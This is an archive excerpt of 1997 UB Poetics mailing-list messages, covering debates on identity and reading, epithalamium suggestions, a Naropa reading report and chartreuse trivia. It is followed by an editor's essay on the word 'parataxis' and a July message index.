This wasn't *my* way of saying Bellamy is sharp. And I disagree about the lack of clarity here. Seems to me that what I said was pretty plain. Interesting that you resist it. I didn't use the word "reify" (I rarely do). "Inscription" and its "did-it-again" form, "reinscription" are fairly graphic (I tend to think of tattooing when I read it), and "reinforced", well, that's about as concrete as a pile of sandbags around a foxhole. Pretty clear, I think.

As for Bellamy's rejection of my reading of her posts about Kim Dawn, all I can do/have done is point to the words and the rhetorical constructions she offered POETICS readers in that instance. Whatever an author's *intentions*, it is the words on the screen that readers see. Those who know Bellamy can add their deeper understanding to the interpretation of her words, but those who don't are forced to work with the texts at hand. This is, perhaps, another illustration that identity *matters*.

"Being read" is the risk that writers take and--one assumes--the goal for which they strive. *How* a reader reads is out of the author's control, though understanding how (different) readers read might provide one a certain amount of useful information. At least that's how I see/read it.

Kali

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984. **Rebecca Reynolds**

Re: epithalamium

Mon 30 Jun 1997

> *My brother has just announced to my family that he is getting married, and he has asked me to write a poem to celebrate the occasion. Fortunately, I have a year to get started.*
>
> *I'm looking for contemporary epithalamiums to get an idea as to how to proceed: any suggestions?*
>
> *Thanks!*
>
> *Hugh Steinberg*

I just wanted to share this with you, but I don't know that it would be particularly helpful . . .

I also was asked to write a poem for a wedding, but this was a lesbian wedding, so I was determined to write a contemporary- aternative-lifestyle-epithalamium. (No, make that THE alternative-livestyle-epithalamium.)

First, I could not find contemporary epithalamiums--though I am sure that there are some--I simply do not have an exhaustive knowledge of contemporary poetry, and I'm sure someone else on this list can supply you with some examples. I'd be interested, myself, having done this. One challenge, I think, is that contemporary poetry (or the contemporary ear for poetry) is not often so directly "occasional" (though I suppose all poems are occasional). At any rate, I had to figure out a way to be "occasional" and reader/listener friendly (since it is a public event). I had to write something that would be appropriate for a group

of people who did not read poetry at all. Not only were there no other poets in the place, there were no graduate students or anything. A lot of social workers (seems to be an occupational hazard among lesbians). Also, there had to be some ref. to the fact that this was not your average wedding -- I think in any case, it is difficult to write poems that need to refer to so many particulars. Ultimately, I gave up on re-writing the epithalamium (especially since my sense of poetic convention is pretty inexact). I got inspiration from a Charles Olson poem, "Love I" --which is too long to print out here--and used a similar repetitive structure, writing instead of an epithilamium, a blessing of sorts, though I suppose the poem is an epithalamium too, since it is pretty clearly a "wedding" poem. (Or perhaps not? Will someone clarify?) The happy ending is that the poem is going to be in the Lesbian Review of Books this coming year sometime. I don't suppose you subscribe. I would shamelessly reprint it here, but my e-mail is at work and my poems are at home.

The Olson poem itself is too much about love to be about marriage, I'm afraid. And I don't mean this in a pessimistic sense--it's just that one may want to be restrained. However, the Olson poem is very amenable to being read aloud to a general audience--and that was what I was after, so it proved a useful template, or perhaps, diving board.

Hope this in some indirect way is useful!

Rebecca Reynolds

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985. **Sylvester Pollet**

new lit site (fwd)

Mon 30 Jun 1997

I haven't had time to check this one yet, but thought it might be of interest. sp

> *Date: Mon, 30 Jun 1997 14:13:58 -0500*
> *From: Jim Eggeling <[redacted]>*
> *MIME-Version: 1.0*
> *To: [redacted]*
> *Subject: ANTINUOUS Literary Web Site*
> *X-Priority: 3 (Normal)*
>
> *Do you link with oither sites?*
>
> *Hadrian House Publishers announces the opening of its web site, Antinuous, <http://www.netscorp.net/~hadrian>, e-mail <[redacted].>.*
>
> *The site features poems by the poet J.L.S.E. that have been published in*

> *anthologies and journals over the past twenty-seven years. It was uploaded to the Netscorp server on June 25, 1997 around 1 p.m. on the occasion of the poet's sixty-third birthday and as an event celebrating Stonewall Week Gay Pride.*
>
> *The "Home Page" opens with a .jpg of a painting by Degas. The "Foreword" opens with a gif. of a photograph of the Castel de Sant'Angelo (Hadrian's Tomb.) (The site is named after the Emperor Hadrian's young love, Antinuous.) The "Acknowledgments" opens with a memorial to the late Allen Ginsberg.*
>
> *The poems are mostly homoerotic or verse translations or both. The tone and content of the page is Hellenistic.*
>
> *Please visit Antinuous, and post this invitation wherever it might be welcome.*
>
> *CONTACT:*
> *Jim Eggeling* <[redacted]>
> <[redacted]>
> [redacted] *or* [redacted]
> *625 Honeysuckle Ct.*
> *Laredo, TX78041*

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986. **Pritchett,Pat**

Re: Naropa, the mini-series

Mon 30 Jun 1997

Friday night at Naropa the featured readings began with...

... a performance by proxy of a poem by Clifford Burke, the legendary letter press printer, who'd taken gravely ill (no news on his current status). His serpentine hymn to natural life for three voices was ably performed by a trio of students: one male as reader and two females as acapella chanters and antiphonal chorus.

Next up the initimable Jack Collom, who read with great verve and vigor his sonic tour de force, "Quintana Roo Beach 6AM," also a kind of ode to the natural world's ceaselessly Protean movement, a mosaic of cubistic piled up images read/sung/hummed with a breathless staccato rhythm ("wind licking land as boom la-la"), achieving a vertiginous morphing of "shimmering morphologies." This was followed by an "Eco-Haibun:" a witty, syncopated meditation on certain themes from Simon Schama's _Landscape & Memory_.

Lee Christopher then gave us her playful, colloquial "Nawlins" take on passion, an amusing mix of homespun observations and erotic joie de vivre: "Married men are like freight train boxcars -if you miss one you can catch the next - and the ride's always the same."

Anne Waldman closed the evening with a powerful reading from _Iovis, Part 2_. Evoking Sappho and Dante in an effort to raise language - commit it - to a new level of engagement, she ranged from a panoramic view of the history of the feminine psyche (all via multi-vocal narrative & pitch) to a vignette of an encounter with a Balinese masseuse calling herself "Marlene Dietrich," who plaintively mused: "Is a man all there is to a woman?" This was followed by a section exploring the dialectical contrast between tantric phallic practices and the pornographic gun culture.

Coda: Anne was joined by Steven Taylor for the performance of an anon. 13th Century motet for Allen Ginsberg and "Verses for the New Amazing Grace."

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987. **Mark Weiss**
Re: american language
Mon 30 Jun 1997

Come to think, I dimly remember that the good monks make a less-deadly liqueur as well. Perhaps it's a drink of a different color.

At 03:07 PM 6/30/97 -0400, you wrote:
>YEAH!!! i am not the only one with chartreuse paranoia!!! i remember it
>having some connection to soem french liquor which is a bright bright
>green, but i hear it in connection with fuschia-ish raspberryish pink
>as well... so what is the deal here? are we talking color blind
>emperor without clothes?
>e
>
>

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988. **Daniel Zimmerman**
Re: american language
Mon 30 Jun 1997

Mark Weiss wrote:
>
> Come to think, I dimly remember that the good monks make a less-deadly
> liqueur as well. Perhaps it's a drink of a different color.

>
> At 03:07 PM 6/30/97 -0400, you wrote:
> >YEAH!!! i am not the only one with chartreuse paranoia!!! i remember it
> >having some connection to soem french liquor which is a bright bright
> >green, but i hear it in connection with fuschia-ish raspberryish pink
> >as well... so what is the deal here? are we talking color blind
> >emperor without clothes?
> >e
> >
> >
Yes, Mark:
They make yellow Chartreuse, too [only about 80 proof; green weighs in around 110, if I remember correctly--made from 101 different herbs, too, I believe]. I've never heard of chartreuse refering to any color than a sort of dayglo-neon yellowish green, something for capri pants or Caribbean busses or, lately, firetrucks.
"When I hear a Siren, I reach for an apéritif."
--Dan

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989. **Mark Weiss**
Re: identity/poetics
Mon 30 Jun 1997

> *well, that's about as concrete as a pile of sandbags around a foxhole. Pretty clear, I think.*

Sandbags, wherever found, are only concrete if cement and water are added, but the military metaphor, albeit defensive, will doubtless be experienced as a stance of attack. I can't see what would be lost to discussion if there were a metaphoric standdown by all parties.

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990. **Kali Tal**
Re: Poems/Identities
Mon 30 Jun 1997

> **Dr.* Tal*
>
> *Oops, sorry. Up here we dont call each other Dr. unless we are being formal in order to be agressive. Is that necessity of using "Dr." a US thing. or an Ivy League thing?*

I experienced your decision to label me "Ms." in your previous post as both distancing and patronizing. I sign my posts "Kali" and expect to be addressed in the same name. I *never* sign myself "Ms. Tal." I'm either on a first-name basis (which is my choice as a default) or I'm "Dr." I find that there is no formal address for a female person which is not devalued ("Ms." is used snidely as often as it is used respectfully), and so I use the gender-neutral honorific when I *must* use one. Dodie Bellamy requested that she *not* be referred to by her first name alone by those who don't know her. I think that's reasonable. I prefer to be referred to by my first name as a general rule, but if you're not comfortable with that, I prefer "Dr." to "Ms." Two rules of civility I try always to observe: don't call people outta their names; don't insult their parents.

The "Ivy League" presumption is, in fact, hilarious. Yes, I went to Yale as a grad student. Yes, I received a Ph.D. from that institution. But I hate the place, dissed it in the preface of my thesis and my book, slam it on the Internet whenever I have the opportunity, and would sooner cut off my right arm than send a good student there. I earned my "Ivy League" degree in spite of all the obstacles an extremely hostile American Studies department threw in my path, and could not care less about the "prestige" supposedly conferred by a degree from an institution ruled by folks whose politics and ethics I consider egregious. I *do* value the good opinions of my dissertation advisor and the members of my orals and dissertation committee, but that's only because I got to pick 'em out myself, and I chose them on the basis of their intelligence *and* decency.

Kali

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991. **henry**
Re: identity/poetics
Mon 30 Jun 1997

Kali, have you thought about Dan Bouchard's question re: does it matter whether it's a man or a woman who's making the issue? I think you thought David Bromige's metaphors were also so-to-speak pretty stupid, but they were very similar to Kim Dawn's; i.e. bring everything to a pornography level. As if pornography has the power to shock in an interesting way. I myself don't think "power to shock" is interesting, period. But we live in a place when there is no general, relatively stable middle audience for "literature", so it's convenient to relate everything to bio-sexual relations because they're universal. Trouble is, they get real boring. They also remind me a lot of pre-Hitler & Hitler Germany. Shocking reference, I know. It's not that sexual relations are boring, far from it, it's when they become an isolatable "topic" that they start to lose me. Because there's no "center" we also , we "writers", have trouble communicating. We all

have a different concept of the audience. We're in an in-between time between the mass literature of the 19th century (when they did shakespeare in hotel lobbies) & the mass culture of the 1st half of the century (when movies had dialogue) & the fusion of the 60-70's (when Lowell & Ginsberg were not that different from Sexton) to the discontinuous PRESENT much like the turn of the last century... & there are very few poets with an idiom that energizes & unites (I know the youngsters among us will disagree...) & the Youth Culture is now the Yup-Yeah Club (see TV) & the Youth are gathering frustrated momentum... learning how to forget what they never knew... - Henry Gould

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992. **David Israel**
Re: identity/poetics / standdown (or even lounge?)
Mon 30 Jun 1997

Mark --

<< Sandbags, wherever found, are only concrete if cement and water are added, but the military metaphor, albeit defensive, will doubtless be experienced as a stance of attack. I can't see what would be lost to discussion if there were a metaphoric standdown by all parties. >>

that proposition is about as pacific as a Hawaiian seabreeze. Where do you think you are, anyway? Is this what they taught you in Brooklyn? (Maybe the hippies got to you?)

For what worth, I'd like to commend the good clarity & (relative) even-tonedness of Kali T.'s latest ecritural item (*not* to salvo) --

I suspect this is part of the mutual adjustment that happens in dialogue & other forms of group living. One might note a certain amount (or certain areas) of possible misperception on various sides, no doubt; -- talk ain't so easy sometimes . . . still, the waves are lapping.

Comrades, your mai tais are waiting.
d.i.

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993. **George Bowering**
Re: Poems/Identities
Mon 30 Jun 1997

> **Dr.* Tal*

Oops, sorry. Up here we dont call each other Dr. unless we are being formal in order to be agressive. Is that necessity of using "Dr." a US thing. or an Ivy League thing?

George Bowering.

,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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994. **P.Standard Schaefer**
STEVE CARL
Mon 30 Jun 1997

Could someone please send me the current address of Mr. Steve Carl, back channel if that is best.

Thanks,

Standard Schaefer

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995. **George Bowering**
Re: american language / Pooh
Mon 30 Jun 1997

"Smarter than yr average bear" was Yogi, not Pooh.

George Bowering.

,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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996. Henry Gould
recommended reading
Mon 30 Jun 1997

Have started to read Michael Heller's new book, WORDFLOW, recently published by Talisman House. Maybe can review at some point. Enjoy the balance of elegant simplicity & moving eloquence, not that easy to find in poetry these days. - Henry Gould

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997. Andrew D Epstein
Re: epithalamium
Mon 30 Jun 1997

On Sun, 29 Jun 1997, Hugh Steinberg wrote:

> *My brother has just announced to my family that he is getting married, and he has asked me to write a poem to celebrate the occasion. Fortunately, I have a year to get started.*
>
> *I'm looking for contemporary epithalamiums to get an idea as to how to proceed: any suggestions?*
>
> *Thanks!*
>
> *Hugh Steinberg*

I thought I'd just throw out a contemporary epithalamium by Frank O'Hara. It's "Poem Read at Joan Mitchell's" and it ends:

"but ideas are obscure and nothing should be obscure tonight you will live half the year in a house by the sea and half the year in a house in our arms we peer into the future and see you happy and hope it is a sign that we will be happy too, something to cling to, happiness the least and best of human attainments"

It's in O'Hara's Selected Poems.

Also, someone mentioned an anthology edited by Robert Hass, but couldn't remember what it was called. It's co-edited by Stephen Mitchell, and is called _Into the Garden: A Wedding Anthology_ (Harper, 1993).

Hope that helps!

Andrew Epstein

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998. **Kali Tal**
Re: identity/poetics
Mon 30 Jun 1997

> *Kali, have you thought about Dan Bouchard's question re: does it matter whether it's a man or a woman who's making the issue?*

Yes, it matters. But that doesn't mean I "prefer" one to the other.

I have thought about it, and I think I answered that question (thought Dan's particular framing of the question) a few days ago in response to Ken Wolfe. I wrote:

"In my experience, authors tend not to hide their identities unless they have a specific purpose in mind. Most authors *like* being known, and those who don't are anomolous enough so that we know them for *not* wanting to be known (Pynchon, Salinger). In cases of deliberately concealed or withheld identity, I am interested in both the author's intent and in the general impact of the work. Some identity-concealing tactics are quite easy to understand--George Sand, George Eliot, James Tiptree, Jr., etc. wrote under masculine pen names because it brought them (a limited number of) masculine privileges. It doesn't take a rocket scientist to analyze that sort of passing. Frank Yerby, however, is more interesting. For those of you who aren't into romance novels, Frank Yerby is one of the pillars of the genre; he's black but has constructed his ouevre quite carefully to give no sign of this. He made a mint on his writing. What do I think of this? I think it's complicated, and contemplating Yerby always sends me back to James Weldon Johnson's _Autobiography of An Ex-Colored Man_. (The latter is also fascinating in terms of the identity question because so many folks mistake the novel for an autobiography when the "real" JWJ couldn't have been farther from his protagonist.) And then there are the well-known "fakes" by white authors, like "Danny Santiago's" _Famous All Over Town_ or, to bring class into it, Rebecca Harding Davis' _Life in the Iron Mills_. How about gender crossing within races, like Ernest Gaines' _Autobiography of Miss Jane Pittman_, which almost everyone who reads it takes *as* an autobiography? Or, even within a single "identity," what about the multiple and self-contradictory autobiographies of Lillian Hellman or Mary McCarthy? Each one of these works (and their authors) can be read and understood in context, with identity factored into the mix.

"There is no single answer, no prescription, for how and when identity matters, no formula that will let you know for sure if identity is of primary importance in *this* case or *that* one. So I always factor it in, using as much information as I've got available, asking around for more, and depending upon the one constant in all of this, which is that no matter how much I know about a writer, my

grasp of his or identity will never be complete. Like identity itself, for me understanding is a process rather than an end to be reached."

> *I think you thought*
> *David Bromige's metaphors were also so-to-speak pretty stupid, but they were very similar to Kim Dawn's;*

I did *not* think Bromige's metaphors were "stupid." I don't usually like the word, and use it only as a slang superlative--as in "stupid fine". I didn't agree with them, but they were plenty smart. Stupid/smart don't usually seem useful distinctions to me though--about as useful as good/bad. And it seems to me that Kim Dawn and David Bromige were engaged in very different practices. Kim Dawn seemed to me to be (in her first post to Jay Schwartz) amplifying his stated fears/dislikes and pumping up the volume. Since he expressed his distaste for the S&M play and the personal chat, she aggressively responded with more S&M play and more personal chat. Whatever you think of the skill or "appropriate" nature of what she was doing, she *was* doing something quite clear. Bromige wasn't taking my responses and pumping up the volume. He took offense at a metaphor I used, and tried to appropriate it, turn it to his own *use*. There was no "play" involved there, as I do think there was play in Kim Dawn's response. For example, if Schwartz *had* wanted to play with Kim Dawn (and, granted, not everyone wants to play the same games), he could have responded with an even more outrageous post--embracing the S&M theme and making his point by excess. *Or* he could have *played* the part of sputtering, pompous, outraged fool quite beautifully and thus stolen Kim Dawn's thunder. But Bromige's response simply shoved me, and my interpretation, out of the way, leaving little rhetorical room except for me to either vanish or shove back.

As for your thoughts on porn, well, I did explain that I thought porn was a process and not a set of pictures to which one could point. I'm a little unclear about the pre-Hitler & Hitler Germany reference. Pre-Hitler Germany included some interesting sexual cultures, but those were clearly at odds with (and often literally murdered by) Hitler's Germany. My understanding of fascist sexuality is drawn primarily from Klaus Theweleit's work, so perhaps you have some other perspective that would help me make the connection you're suggesting.

> *Because there's no*
> *"center" we also , we "writers", have trouble communicating. We all have a different concept of the audience. We're in an in-between time between the mass literature of the 19th century (when they did shakespeare in hotel lobbies) & the mass culture of the 1st half of the century (when movies had dialogue) & the fusion of the 60-70's (when Lowell & Ginsberg were not that different from Sexton) to the discontinuous PRESENT much like the turn of the last century... & there are very few poets with an idiom that energizes & unites (I know the youngsters among us will disagree...)*

> *& the Youth Culture is now the Yup-Yeah Club (see TV) & the Youth are gathering frustrated momentum... learning how to forget what they never knew...*

Well, this is a whole new topic, and one I'd be very interested in reading about if you'd care to expand....

Kali

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999. **Pritchett,Pat**
Re: frank identities
Mon 30 Jun 1997

Backing up a bit to address what Maria wrote last Friday. I have to take exception and/or amplify from my own POV some conclusions you draw from your example about Anne Frank. What makes her valuable to readers is not her Jewishness at all which factor was obviously the immediate cause of her oppression and death, but rather the fact that she was oppressed and dealt with it with such extraordinary composure and grace. That the Jews have been historically oppressed from the get-go makes it all the more poignant, to be sure (though as Norman Cantor points out in _The Sacred Chain_ there is _zero_ historical evidence to back up the Biblical story of the Egyptian bondage - in fact what scant evidence of the Jewish presence that's been found so far looks contra-indicative). Reducing Frank's story to "identity politics" is a rather cynical way to look at it, I think. "Hope & courage" make no difference you say? We all die - the only choice given us is how we face it. How much better then to face it with hope & courage rather than bitterness.

I'm not sure what you mean by "she did what everyone did then." There's nothing like war to separate real human beings from the rats among us, by which I refer to the collaborationists in France & Switzerland and god knows where else. To me - not that I'm really very fond of it - her book is about much more than her "identity" - it seems rather like a refusal to be bound by identity. But surely dear Maria you aren't saying that? Tell me it ain't so! Tell me I'm an incredible idiot who has no idea what the hell he's talking about! Or maybe it's just the wind off the Cape...

Patrick Pritchett

From: Maria Damon
To: POETICS
Subject: Re: Idenity of the poet/Hey! other mind here
Date: Friday, June 27, 1997 7:25PM

i point out the obvious example of ann frank (have i sd this before on this list?). though she's a bright, gifted teenage girl under any circumstances, the fact that she wrote while concealed for 2 years in an attic because she was jewish, and was eventually captured and died of disease on the eve of liberation, does make a difference in our reading. it does bug me when she's held up as an example of "hope and courage" and people quote that old "in spite of everything i still believe that people are good at heart" --look where that got her. she did what everyone did then. but it can't be denied that her work is valuable as a document of identity politics of the most dramatic sort. not because she writes "i'm jewish i'm jewish," but because her identity has everything to do with her fate, and the reception of her work. should it? why not?

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1000. **henry g**
question
Mon 30 Jun 1997

If it's easier to alienate a possible audience
than win over a real one,
who are the exploratory writers,
& who the conventional?

I submit all my own work
to a certain standard:
would I be able to read this
at a Thanskgiving dinner?

& the measure of value remains:

ARS EST CELARE ARTEM
(art is to hide art).

- Henry Gould

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1001. **George Thompson**
Re: american language
Mon 30 Jun 1997

Mark Weiss asked:

> *It's the color of the delicious-but-deadly liqueur produced at the monastery of La Grande Chartreuse (chartreuse=carthusian, or charter-house, as in _The Charterhouse of Parma_), from wence the name. They've been making it for centuries, and it's always been green. My own scientific survey (I asked my wife) confirms this.*

> *Xena predates Christianity--maybe in her day the word was used differently? Where's a sanskritist when you need one?*

I know that the ones I know are good for nothing. And they don't drink enough [in general] to know what the true color of chartreuse [or anything else] is. Monks on the other hand were *real* scholars, combining knowledge of books with knowledge of god,and quite a good knowledge of spirits too. The question is: where's a monk when you need one?

George T.

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1002. **Pritchett,Pat**
Re: identity/poetics
Mon 30 Jun 1997

I think it was Arthur Symons who once said: "Nothing is more bourgeois than the desire to shock the bourgeoisie."

But it was definitely Cioran who said: "One always perishes by the self one assumes: to bear a name is to claim an exact mode of collapse."

And it may or may not have been David Carradine who uttered: "It is easy to shoot past the mark. Hard to stand firm in the middle" (sic).

Patrick Pritchett

From: henry
To: POETICS
Subject: Re: identity/poetics
Date: Monday, June 30, 1997 4:28PM

Kali, have you thought about Dan Bouchard's question re: does it matter whether it's a man or a woman who's making the issue? I think you thought David Bromige's metaphors were also so-to-speak pretty stupid, but they were very similar to Kim Dawn's; i.e. bring everything to a pornography level. As if pornography has the power to shock in an interesting way. I myself don't think "power to shock" is interesting, period. But we live in a place when there is no general, relatively stable middle audience for "literature", so it's convenient to relate everything to bio-sexual relations because they're universal. Trouble is, they get real boring. They also remind me a lot of pre-Hitler & Hitler Germany. Shocking reference, I know. It's not that sexual relations are boring, far from it, it's when they become an isolatable "topic" that they start to lose me. Because there's no "center" we also , we "writers", have trouble communicating. We all have a different concept of the audience. We're in an in-between time between

the mass literature of the 19th century (when they did shakespeare in hotel lobbies) & the mass culture of the 1st half of the century (when movies had dialogue) & the fusion of the 60-70's (when Lowell & Ginsberg were not that different from Sexton) to the discontinuous PRESENT much like the turn of the last century... & there are very few poets with an idiom that energizes & unites (I know the youngsters among us will disagree...) & the Youth Culture is now the Yup-Yeah Club (see TV) & the Youth are gathering frustrated momentum... learning how to forget what they never knew... - Henry Gould

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1003. **David Israel**

Re: american language

Mon 30 Jun 1997

Dan Salmon contributed --

> *one beer short of a six pack*

on this model:

one egg short of a baker's dozen

(characterizing a gesture intended to look [or be] generous but which, in the instance, proves the imagined extra benefit)

also:

two speakers shy of a sound system
(i.e., totally out of it)

one slice shy of a sandwich
(lack of collaborative spirit?)
relatedly:
one partner shy of a relationship

then, one voice shy of an opera (As in: "Now this script reads okay, the plot moves, characters cohere, the lines of motivation seem credible. But jeez, there's something missing here -- what it is? Slaving away at this baby six months -- whatever I do, we're still one voice shy of an opera.")

also:
hey, just three bases shy of a home-run!

&
"well, let me put it this way:
we're still 75 trombones shy of the big parade . . . "

d.i.

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1004. **John Kinsella**

on those who might erase an identity?

Mon 30 Jun 1997

I originally posted this to another list as part of an
"off-topic" dialogue.

Amnesty Echidna Manifesto

Among fostered overtones
they skip the elegy
and wonder if the Wet is written
down like sinusoidal spirals
in the cosmology of specimens--
pages vigorous with nostalgic yearnings,
as the question is asked--that Amnesty
need make commentary
on a "civilized" Australia?
From the fat of denial
secreted milk oozes
onto the membrane
of the pouch, like Frank Thring joking
that he'd make a tobacco sac
out of the bush ranger's scrotum,
as spines erupt and the music
of weaponry is struck
by musing policemen, as there's
no way out of borrowed text
and the fossil record
is but a single external opening
focussing sex and excreta,
this the profit, the artefact
and its market, depositing eggs
and suckling progeny
on milk; and this a dialogue
of singing and witnessing
over the poem's anatomy,
as if other factors have crept
into a consideration
of an echidna opening
Meat Ant mounds
with inspirational claws,
deeply snouting and colluding
and outing cases of fixed-format

languages, conferring heritage
only after the fact,
as if it matters, as if subentries
to an apparently neutral hibernation
are of the place, like naming
names and collecting data
from "I've lived amongst them"
observations: in the lock-up
they observe "primitive" objections,
knowing better in their justice,
making comparisons, saying
"like an echidna" she bristled
against the "apparent" rape--
the Ombudsman declaring
as bold as Achilles
that he'd take the day,
forgetting always
that the murky water of the Styx
hadn't covered his glowing skin
entirely, and that in those parts
no-one had heard
of that river

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@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

July 1997

942 messages · Mon 30 Jun 1997 – Thu 31 Jul 1997

Hong Kong changed hands at midnight on the first of July; a machine the size of a microwave oven drove off a ramp onto Mars on the fourth and sent back photographs of a floodplain; Gianni Versace was shot on his own steps on the fifteenth. The list gives Mars nine mentions, none of them the lander's name, and the other two nothing at all. Nine hundred and forty-one letters, and the name that occurs most often in them is Ashbery's, a hundred and seventy-five times. What I want to put in front of you happened on a single Tuesday afternoon, the twenty-second, and took about twenty minutes.

Gwyn McVay had lost a word. She wrote to the list to say so, and to ask for help in the most engaging formulation anybody produced that year: she was missing a word she used to know, and would be grateful for at least its telephone number. She could describe it but not say it. A theoretical term; the nearest things she could reach were disjunctive, dissociative, disruptive, and none of them was it; the word named the act itself. That is the whole post. It is the position this entire archive has been in since March of last year, stated in five lines by somebody who simply wanted her word back.

The next message in the volume is henry gould's, and it is one line long: *"are you thinking of parataxis?"* McVay's reply came straight back and I have reproduced the punctuation exactly as she sent it, because it is the only unguarded happiness in eighteen months of this archive — *"YES! O wonderful Henry! parataxis! parataxis!"* like what is always hanging around a metro stop. Found. One reply. No definition required, no fortnight of quarrel, no anthology. A woman said what the word did and a man in Providence knew which word it was.

The room, having solved it, then spent the rest of the day on it anyway, which is the room all over and I would not have it otherwise. Fred Muratori proposed *"deathyntaxis"*. Don Cheney offered hypotaxis instead — *"like all the hypotaxis in the zoo"* — and noted that his own coinage was a great word for Scrabble. Bob Grotjohn posted the Oxford entry, dated 1883. Eliza McGrand emptied her thesaurus: separated, unconnected, detached, disarticulated. Stacie Slotnick supplied the address of a site that searches many dictionaries at once. And Charles Alexander, inevitably, arrived to say that he was *"Just nitpicking, but if people who include URLs"* in their mail would format them properly it would be easier for everyone.

Parataxis is the setting of things side by side without conjunctions: this, then this, then this, and no word between them to say how they are joined. It is Sappho and it is the Cantos, and it is also, exactly and unimprovably, a mailing list — six hundred people posting one after another into a thread that has no grammar connecting any of it, each message flush against the last. I have set McVay's question and gould's answer on the same page, twenty minutes apart, because a room that has never once managed to define a word it argues about was asked to find a word somebody loved, and found it before lunch, and the word it found was the name of the thing they were all standing in.

— Kristen M. Fabians

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165. Bennett M. Sm [Dimpson — Repertory Dialing
166. Aldon L. Nielsen — Re: God is dead, etc.
167. Tom Mandel — Stevens day gig
168. Christina Fairbank Chirot — Re: A List of Poetry Schools Revisited
169. Tom Mandel — poets and critics
170. David Israel — (no subject)
171. Alan * Sondheim — Doctored
172. Matthias Regan — stanza breaks
173. Hoa Nguyen — Re: identity, and other excresences
174. GRAHAM W. FOUST — barthes on twombly
175. Mark Baker — Re: barthes on twombly
176. Charles Alexander — Re: "Writing between the lines"
177. Kali Tal — Re: power in language
178. Kali Tal — Re: power in language
179. Matt Kirschenbaum — postmodern culture special issue on hypertext
180. Aldon L. Nielsen — Tolson
181. George Bowering — Re: identity
182. George Bowering — Re: New primitive publications chapbook
183. Tom Orange — power in language
184. David Israel — the take on taken
185. Joseph Zitt — Re: identity
186. David Israel — Re: power in language / locus classicus
187. P.Standard Schaefer — Re: Will's column/ my reply
188. Mark Weiss — (no subject)
189. David Erben (Art) — Endocrine Poetics at the Ballpark
190. David Israel — Re: power in language / locus classicus, p.s.
191. Mark Weiss — (no subject)
192. dbkk — Re: power in language
193. David Israel — Re: power in language / locus classicus, p.p.s.
194. Mark Weiss — (no subject)
195. Eliza McGrand- CVA Guest — a cigar is a cigar and a bar is a bar

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196. Mark Weiss — Re: power in language
197. KIM DAWN BAKER — body made of air
198. Alan * Sondheim — A Poem By Mr. William Butler Yeats (fwd)
199. Mark Weiss — Re: power in language
200. Mark Weiss — Re: power in language
201. Mark Weiss — Re: power in language
202. George Bowering — Re: power in language
203. Michel Delville — Bob Grumman's list poetic schools / Is Langpo acadominant?

204. Kali Tal — Re: identity/poetics
205. Kali Tal — Re: power in language
206. rsillima — Time, jobs, etc.
207. Rachel Loden — Re: identity/poetics
208. Tom Mandel — poets and critics
209. Tom Mandel — David Erben's list
210. Daniel Bouchard — power in nipples
211. Mark Prejsnar — Re: Bob Grumman's list poetic schools / Is Langpo acadominant?
212. Bennett M. Sm [Dimpson — Re: power in language
213. David R. Israel — Re: David Erben's list
214. Mark Weiss — Re: Bob Grumman's list poetic schools / Is Langpo acadominant?
215. Jordan Davis — Re: power in language
216. David R. Israel — Re: power in language / "violence"
217. Aldon L. Nielsen — Re: identity
218. Bennett M. Sm [Dimpson — Re: power in language
219. Aldon L. Nielsen — Re: acadminished in Boulder
220. Bennett M. Sm [Dimpson — Re: power in language
221. Tom Orange — a cigar is a cigar and a bar is a bar
222. Tom Orange — ronald johnson
223. dbkk — Re: power in language / "violence"
224. Charles Alexander — Re: instance of Ashbery
225. Robert Hale — Re: power in nipples
226. Matthias Regan — Re: identity, and other excresences
227. George Bowering — Re: acadminished in Boulder
228. Eliza McGrand- CVA Guest — Re: a cigar is a cigar and a bar is a bar
229. George Bowering — Re: power in nipples
230. Mark Weiss — Re: acadminished in Boulder
231. David Israel — overheard in the Platonic Lounge
232. David Israel — damian lopes / Project X Website
233. Tom Orange — Re: a cigar is a cigar and a bar is a bar
234. main — sh'wa
235. David Bromige — Platonic Lounge
236. Eliza McGrand- CVA Guest — Re: Platonic Lounge
237. Loss Pequen~o Glazier — collaborative poem

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238. Alan * Sondheim — By way of explanation -- (fwd)
239. Jordan Davis — Re: Platonic Lounge
240. George Bowering — Re: Platonic Lounge
241. Eliza McGrand- CVA Guest — conspiracy in the air....
242. Mark Prejsnar — Re: Bob Grumman's list poetic schools / Is Langpo acadominant?
243. Susan Wheeler — Re: POETICS Digest - 7 Jul 1997 to 8 Jul 1997
244. David R. Israel — shades of Yasusada?
245. Jordan Davis — Brecht / Derrida
246. Bob Grumman — Re: List of Poetry Schools
247. Douglas Barbour — Re: The American poets of TIME
248. Douglas Barbour — Re: KD surrounded by fire
249. Michel Delville — Langpo and the academy
250. Bob Grumman — Re: A list of Poetry Schools
251. Bob Grumman — Another Damned Oooops.
252. robert drake — Re: Bob Grumman's list poetic schools / Is Langpo acadominant?
253. David R. Israel — Re: Bob Grumman's list poetic schools / Is Langpo acadomina
254. Mark Weiss — Re: Bob Grumman's list poetic schools / Is Langpo acadominant?
255. Pritchett,Pat — Re: Naropa/Unity
256. Robert Archambeau — Nathaniel Tarn Gone Missing
257. Tom Orange — water's fine here...

258. David Bromige — Beckett on Art, 1977
259. Bennett M. Sm [Dimpson — Et puis encore
260. KIM DAWN BAKER — untitled
261. aerialedge — some business
262. Jordan Davis — Re: water's fire here...
263. L. MacMahon and T.R. Healy — poem
264. Matthias Regan — Re: Brecht / Derrida
265. dbkk — Re: water's fine here...
266. Charles Alexander — Re: re - 'neologism'?
267. Charles Alexander — Re: ashbery/dewey
268. Tom Orange — water's finer here
269. Alan * Sondheim — http://www.thing.net/lusitania (fwd)
270. Charles Alexander — Re: contemporary american poets (fwd)
271. Matthias Regan — Re: Langpo and the academy
272. Mark Weiss — (no subject)
273. Eliza McGrand- CVA Guest — dear white male hegemonistic mysogynistsss
274. Robert Kendall — "Writing between the lines"
275. Daniel Bouchard — Re: dear white male hegemonistic mysogynistsss
276. Tom Mandel — pain...
277. Tom Mandel — lounga platonica
278. David Bromige — whi.ma.he.my
279. Pritchett,Pat — Re: Beckett *1987*/Nielsen 1997
280. Hank Lazer — Re: The American poets of TIME
281. Jordan Davis — Re: Langpo and the ory
282. Karen and Trevor — EPR
